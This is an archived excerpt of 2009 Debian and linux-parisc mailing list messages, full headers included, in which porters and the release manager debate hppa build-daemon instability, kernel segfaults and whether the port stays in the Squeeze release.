         gY2k8SKAkOWfTHjbMeYek9KRJI5V0kzvtGSKM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=TZ4t8GY7cPP/ciP2Hf0WNtrvNhhAbPLmNVWg2e3qt1Lc9KO35nwJwKviVS80NEZMDB
         2TyZaVER3vSOitKzV+eoDywcc/Y+QadT0J6blzehbgmCERUk5FsRgZIN40dw9T3rlanv
         arfOREcgFGULibRSRoX9Yw4P00Xlzz6cRjVOs=
Original-Received: by 10.239.172.73 with SMTP id z9mr108501hbe.30.1245320179904; Thu, 
	18 Jun 2009 03:16:19 -0700 (PDT)
In-Reply-To: <4A39DFAA.30803@debian.org>
X-Google-Sender-Auth: 104ba44606b65c3f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1775 gmane.linux.debian.ports.hppa:5769 gmane.linux.debian.devel.release:30822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1775>

On Thu, Jun 18, 2009 at 8:33 AM, Luk Claes<luk@debian.org> wrote:
> John David Anglin wrote:
>>> Grant Grundler schrieb:
>>>> On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
>>>>> Grant Grundler wrote:
>
>> I can understand the desire to trim architectures. =C2=A0However, it=
's clear
>> the current decision was based on some misinformation, and an unclea=
r
>> rational.
>
> There is no desire to trim working architectures.
>
> It's very easy to tell there is nothing wrong when you don't have to
> deal with unreliable build daemons, endless discussions but no visibl=
e
> progress (except for java support) and complaints from DSA, package
> maintainers and others.

I'm sorry, but this thread is now over 2 weeks old and we yet have to
see a *rationale* motivating the current decision. Not some claims
about bugs (which we still haven't been pointed at, except for the
ruby one, which we addressed already) affecting the buildds (and that
only you experience). Speaking of which, I'm not aware of any problem
affecting lafayette...

We have given you tangible elements and have answered each and every
questions that have been raised in this thread. The release team, on
the other hand, failed to answer the single question we've been
asking: what's the rationale for dropping parisc?

I joined Debian many years ago because it seemed to me that it had
proper ethics, in particular because decisions were taken
transparently, and were properly - and openly - discussed before
anything final was settled. I too have invested time and money into
the project. I'm extremely disappointed with the handling of the issue
at stake here.

Again, I would like to see a comprehensive rationale for this
decision, so that we can at least try to address the problems at hands
and hope for re-inclusion after squeeze. BTW, can you clarify whether
that would be an option?

Cheers,
T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 11:03:16 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20090618150317.769604FE4@hiauly1.hia.nrc.ca>
References: <4A39DFAA.30803@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245337407 1542 80.91.229.12 (18 Jun 2009 15:03:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 15:03:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	linux-parisc@vger.kernel.org
To: luk@debian.org (Luk Claes)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 17:03:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHJ96-0001oG-VN
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 17:03:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754871AbZFRPDQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2009 11:03:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754965AbZFRPDQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Jun 2009 11:03:16 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2655 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754871AbZFRPDP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2009 11:03:15 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 769604FE4; Thu, 18 Jun 2009 11:03:17 -0400 (EDT)
In-Reply-To: <4A39DFAA.30803@debian.org> from "Luk Claes" at Jun 18, 2009 08:33:14 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1776 gmane.linux.debian.ports.hppa:5770 gmane.linux.debian.devel.release:30824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1776>

> It's very easy to tell there is nothing wrong when you don't have to
> deal with unreliable build daemons, endless discussions but no visible
> progress (except for java support) and complaints from DSA, package
> maintainers and others.

The problem with the build daemons may be a buggy version of nscd.
It causes random problems with uid/gid lookups.  This is just a guess
based on this report:
http://www.nabble.com/Boost-build-failure-on-hppa-td23496708.html

I had problems with sshd and dpkg on my c3750 until I disabled nscd.
It's now running 2.6.30.  It has done a full build and check of GCC
several times, and appears to be stable with this kernel.  This is
with a UP kernel.

With SMP kernels, there's still a problem with random segementation
faults.  These cause application core dumps and are normally logged
in /var/log/debug.  The frequency of these problems vary with kernel
version.

I believe that it should be possible to setup a reliable hppa build
server running a UP kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 20:16:59 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <4A3A849B.2020702@debian.org>
References: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca>	 <4A39DFAA.30803@debian.org> <7d01f9f00906180316t1ec13cb2h435d77fefd3cc3d7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245348709 9456 80.91.229.12 (18 Jun 2009 18:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 18:11:49 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <varenet@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 20:11:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHM5Q-0008E8-Rc
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 20:11:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752859AbZFRSLk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2009 14:11:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753184AbZFRSLj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Jun 2009 14:11:39 -0400
Original-Received: from mailrelay009.isp.belgacom.be ([195.238.6.176]:32558 "EHLO
	mailrelay009.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752859AbZFRSLj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2009 14:11:39 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Aj4CAIwgOkpbs6NL/2dsb2JhbAAI0mmECAU
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.163.75])
  by relay.skynet.be with ESMTP; 18 Jun 2009 20:11:40 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <7d01f9f00906180316t1ec13cb2h435d77fefd3cc3d7@mail.gmail.com>
X-Enigmail-Version: 0.95.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1777 gmane.linux.debian.ports.hppa:5771 gmane.linux.debian.devel.release:30826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1777>

Thibaut VARENE wrote:
> On Thu, Jun 18, 2009 at 8:33 AM, Luk Claes<luk@debian.org> wrote:
>> John David Anglin wrote:
>>>> Grant Grundler schrieb:
>>>>> On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
>>>>>> Grant Grundler wrote:
>>> I can understand the desire to trim architectures.  However, it's clear
>>> the current decision was based on some misinformation, and an unclear
>>> rational.
>> There is no desire to trim working architectures.
>>
>> It's very easy to tell there is nothing wrong when you don't have to
>> deal with unreliable build daemons, endless discussions but no visible
>> progress (except for java support) and complaints from DSA, package
>> maintainers and others.
> 
> I'm sorry, but this thread is now over 2 weeks old and we yet have to
> see a *rationale* motivating the current decision. Not some claims
> about bugs (which we still haven't been pointed at, except for the
> ruby one, which we addressed already) affecting the buildds (and that
> only you experience). Speaking of which, I'm not aware of any problem
> affecting lafayette...

lafayette is only doing non-sid to make sure we have a buildd that is
not heavy loaded and very probable to be able to build all security and
stable/oldstable updates...

> We have given you tangible elements and have answered each and every
> questions that have been raised in this thread. The release team, on
> the other hand, failed to answer the single question we've been
> asking: what's the rationale for dropping parisc?

Please read again, it's only in the beginning of the mail...

> I joined Debian many years ago because it seemed to me that it had
> proper ethics, in particular because decisions were taken
> transparently, and were properly - and openly - discussed before
> anything final was settled. I too have invested time and money into
> the project. I'm extremely disappointed with the handling of the issue
> at stake here.

I'm very disappointed at the hppa porters attitudes I must say. They
talk a lot, they assumingly work a lot behind the scenes, but they don't
seem to know what issues there are within the project nor is there any
visible progress unless we prod very hard and even then they are more
worried about the way we prod than about proving they are worthy to
support the port and show some real progress...

> Again, I would like to see a comprehensive rationale for this
> decision, so that we can at least try to address the problems at hands
> and hope for re-inclusion after squeeze. BTW, can you clarify whether
> that would be an option?

It's still an option to stay in squeeze like I told before, but we want
a clear sign that the port will be supported throughout the whole
release cycle (which honestly looks more and more like it could be the
case, though I still fail to see why randomly crashing and segfaulting
buildds and decreasing support for programming languages before Lenny
was not seen as critical enough).

Cheers

Luk
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 20:19:05 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <4A3A8519.70400@debian.org>
References: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca> <4A39DFAA.30803@debian.org> <4A3A0B8C.9070104@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245348835 9901 80.91.229.12 (18 Jun 2009 18:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 18:13:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	linux-parisc@vger.kernel.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 20:13:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHM7S-0000gI-DN
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 20:13:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751517AbZFRSNp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2009 14:13:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752158AbZFRSNp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Jun 2009 14:13:45 -0400
Original-Received: from mailrelay009.isp.belgacom.be ([195.238.6.176]:63725 "EHLO
	mailrelay009.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751517AbZFRSNp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2009 14:13:45 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Aj4CAIwgOkpbs6NL/2dsb2JhbAAI0mmECAU
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.163.75])
  by relay.skynet.be with ESMTP; 18 Jun 2009 20:13:47 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <4A3A0B8C.9070104@tausq.org>
X-Enigmail-Version: 0.95.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1778 gmane.linux.debian.ports.hppa:5772 gmane.linux.debian.devel.release:30827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1778>

Randolph Chung wrote:
> Luk,
>> There is no desire to trim working architectures.
>>
>> It's very easy to tell there is nothing wrong when you don't have to
>> deal with unreliable build daemons, endless discussions but no visible
>> progress (except for java support) and complaints from DSA, package
>> maintainers and others.
>>   
> If you looked at https://buildd.debian.org/stats/graph-big.png  I think
> it is obvious hppa is not *that* broken. hppa is >95% built. That is not
> that bad. Of course, it can be better, but if you looked at this with a
> historical perspective the port is really in a pretty good shape.

As already was explained, the issue is not that builds don't succeed
after multiple tries. The issue is that sometimes multiple tries are
needed and sometimes the buildds crash.

> If you looked at the status of the toolchain posted to the
> gcc-testresults page: http://gcc.gnu.org/ml/gcc-testresults/2009-06/ 
> you can see that hppa is one of the better architectures out there. Our
> results are on par with (if not better than) other supported architectures.

I hope that it will show in the reliability of the buildds and the
general improvement of support for the hppa port.

Cheers

Luk
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: HPPA and Squeeze
Date: Fri, 19 Jun 2009 08:05:56 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <4A3B2AC4.90105@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245391244 25873 80.91.229.12 (19 Jun 2009 06:00:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Jun 2009 06:00:44 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 19 08:00:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHX9U-00071Z-98
	for glpp-linux-parisc@gmane.org; Fri, 19 Jun 2009 08:00:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752148AbZFSGAf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Jun 2009 02:00:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752162AbZFSGAf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Jun 2009 02:00:35 -0400
Original-Received: from mailrelay012.isp.belgacom.be ([195.238.6.179]:55780 "EHLO
	mailrelay012.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752148AbZFSGAf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Jun 2009 02:00:35 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: Ah8CAIrFOkpbs7mE/2dsb2JhbAAIzxmECAU
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.185.132])
  by relay.skynet.be with ESMTP; 19 Jun 2009 08:00:36 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
X-Enigmail-Version: 0.95.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1779 gmane.linux.debian.ports.hppa:5773 gmane.linux.debian.devel.release:30830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1779>

Hmm...

It's right that some of my comments are rather harsh, though you must
know that I'm not speaking from a personal perspective.

Personally (and as Release Manager), I would be very happy to have a
good working hppa port for Squeeze and beyond.

I made sure that the hppa port was included into Lenny even when the
Debian System Administrators (DSA), package maintainers, release team
members an others were shouting to drop it. I thought it was unfair to
drop the port just before the release. They accepted my decision as long
as I would make it clear that it was a *big* exception not to be taken
lightly. At the time java support was completely dropped, buildds were
crashing every other day and support for other programing languages
looked poor and the port was still using linuxthreads as the latest of
all ports.

After the release of Lenny there were still not much signs of
improvement to the reliability of the buildds and the move to ntpl (that
was going to solve almost all issues the maintainers had) seemed to not
happen and not going to solve everything. The only surprising
improvement was the regained java support.

It's quite disturbing in my honest opinion that only after us starting a
thread like this one that we get to know the status of some of the
porting efforts and lots of vocal support, but not many visible
improvements. Instead of making sure that there is visibile improvement
after that, this pattern seems to repeat itself which is not looking
very promising. I'm sorry if my and others' frustration is ventilated in
some of the mails. The issues with the buildds are lasting for years
already with lots of time spent by DSA and others.

I still hope that the hppa porters can prove us wrong, fix the kernel
issues (which are the probable cause of the unreliability of the
buildds), finalise the ntpl move and stay on top of porting issues in
Debian in the future.

Please let us now focus on improving the status of the hppa port in
general and the buildds in particular!

Cheers

Luk
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Roeckx <kurt@roeckx.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Fri, 19 Jun 2009 17:15:26 +0200
Lines: 102
Approved: news@gmane.org
Message-ID: <20090619151526.GA30984@roeckx.be>
References: <4A3B2AC4.90105@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245424540 29026 80.91.229.12 (19 Jun 2009 15:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Jun 2009 15:15:40 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: Luk Claes <luk@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 19 17:15:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHfoU-0002v8-E5
	for glpp-linux-parisc@gmane.org; Fri, 19 Jun 2009 17:15:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751078AbZFSPP3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Jun 2009 11:15:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751340AbZFSPP3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Jun 2009 11:15:29 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:33488 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751078AbZFSPP3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Jun 2009 11:15:29 -0400
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by juliette.telenet-ops.be with bizsmtp
	id 5rFT1c0041cSCaU06rFTwW; Fri, 19 Jun 2009 17:15:27 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id E972AEACF6; Fri, 19 Jun 2009 17:15:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <4A3B2AC4.90105@debian.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1780 gmane.linux.debian.ports.hppa:5774 gmane.linux.debian.devel.release:30833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1780>

I take a regular look at various arches why packages are not
correctly built.  hppa is the most annoying arch for me. If you
look at the stats you will notice that it's almost always
the lowest in the stats.  The reason it more or less keeps up is
because I put alot of time in looking at the state of the
packages and that packages get retried alot by the buildd
maintainer.

One of the most annoying things about it is that packages only
get uploaded 2 or 3 times a week.  This has as effect that alot
of packages fail to build because others haven't been uploaded
yet.  Alot of packages are uninstallable, and are basicly waiting
for others to be built/uploaded.  With only 2/3 uploads a week
this means that packages are uninstallable for _weeks_.  By the
time the first reason has been fixed, something else already make
it uninstallable again.  And I guess this is also the reason
the release team always needs to take a look at why something
is uninstallable on hppa.  I can deal with this, but because of
this reason, hppa is a low priority port for me.

So it's my understanding that the porters have no idea about the
problems.  So I will start to mail you about problems as soon
as I see them and they look like porting issues specific
to hppa.

Here is a list of packages that failed to build because of instability
on the buildds today:
package     | buildd   | error
qgit        | penalosa | make: *** [install] Segmentation fault
acpica-unix | peri     | make: *** [install] Segmentation fault


This are probabaly porting issues, they atleast seems to
only affect hppa:
package        | error
rt-tests       | PTHREAD_PRIO_INHERIT undeclared (NPTL support?)
insighttoolkit | undefined references
axis	       | #531995: Cannot override the final method from ResourceBundle
petsc	       | petscvariables: No such file or directory

Logs can be found at
https://buildd.debian.org/build.cgi?arch=hppa;pkg=$package


Kurt

On Fri, Jun 19, 2009 at 08:05:56AM +0200, Luk Claes wrote:
> Hmm...
> 
> It's right that some of my comments are rather harsh, though you must
> know that I'm not speaking from a personal perspective.
> 
> Personally (and as Release Manager), I would be very happy to have a
> good working hppa port for Squeeze and beyond.
> 
> I made sure that the hppa port was included into Lenny even when the
> Debian System Administrators (DSA), package maintainers, release team
> members an others were shouting to drop it. I thought it was unfair to
> drop the port just before the release. They accepted my decision as long
> as I would make it clear that it was a *big* exception not to be taken
> lightly. At the time java support was completely dropped, buildds were
> crashing every other day and support for other programing languages
> looked poor and the port was still using linuxthreads as the latest of
> all ports.
> 
> After the release of Lenny there were still not much signs of
> improvement to the reliability of the buildds and the move to ntpl (that
> was going to solve almost all issues the maintainers had) seemed to not
> happen and not going to solve everything. The only surprising
> improvement was the regained java support.
> 
> It's quite disturbing in my honest opinion that only after us starting a
> thread like this one that we get to know the status of some of the
> porting efforts and lots of vocal support, but not many visible
> improvements. Instead of making sure that there is visibile improvement
> after that, this pattern seems to repeat itself which is not looking
> very promising. I'm sorry if my and others' frustration is ventilated in
> some of the mails. The issues with the buildds are lasting for years
> already with lots of time spent by DSA and others.
> 
> I still hope that the hppa porters can prove us wrong, fix the kernel
> issues (which are the probable cause of the unreliability of the
> buildds), finalise the ntpl move and stay on top of porting issues in
> Debian in the future.
> 
> Please let us now focus on improving the status of the hppa port in
> general and the buildds in particular!
> 
> Cheers
> 
> Luk
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-release-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Kern <pkern@debian.org>
Newsgroups: gmane.linux.debian.devel.release,gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Fri, 19 Jun 2009 17:43:24 +0200
Organization: The Debian Project (http://www.debian.org)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090619154324.GA26579@durotan.0x539.de>
References: <4A3B2AC4.90105@debian.org> <20090619151526.GA30984@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH"
X-Trace: ger.gmane.org 1245426221 2351 80.91.229.12 (19 Jun 2009 15:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Jun 2009 15:43:41 +0000 (UTC)
Cc: Kurt Roeckx <kurt@roeckx.be>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Debian Release <debian-release@lists.debian.org>
To: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>
Original-X-From: bounce-debian-release=debian-release=m.gmane.org@lists.debian.org Fri Jun 19 17:43:37 2009
Return-path: <bounce-debian-release=debian-release=m.gmane.org@lists.debian.org>
Envelope-to: debian-release@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHgFd-000099-6o
	for debian-release@m.gmane.org; Fri, 19 Jun 2009 17:43:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 9AC8613A5E15; Fri, 19 Jun 2009 15:43:36 +0000 (UTC)
Old-Return-Path: <pkern@durotan.0x539.de>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-6.3 required=4.0 tests=ALL_TRUSTED,FOURLA,
	LDO_WHITELIST autolearn=failed version=3.2.5
X-Original-To: lists-debian-release@liszt.debian.org
Delivered-To: lists-debian-release@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id A591313A5DA3
	for <lists-debian-release@liszt.debian.org>; Fri, 19 Jun 2009 15:43:32 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-ht
X-Amavis-Spam-Status: No, score=-6.901 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5, NO_RELAYS=-0.001]
	autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
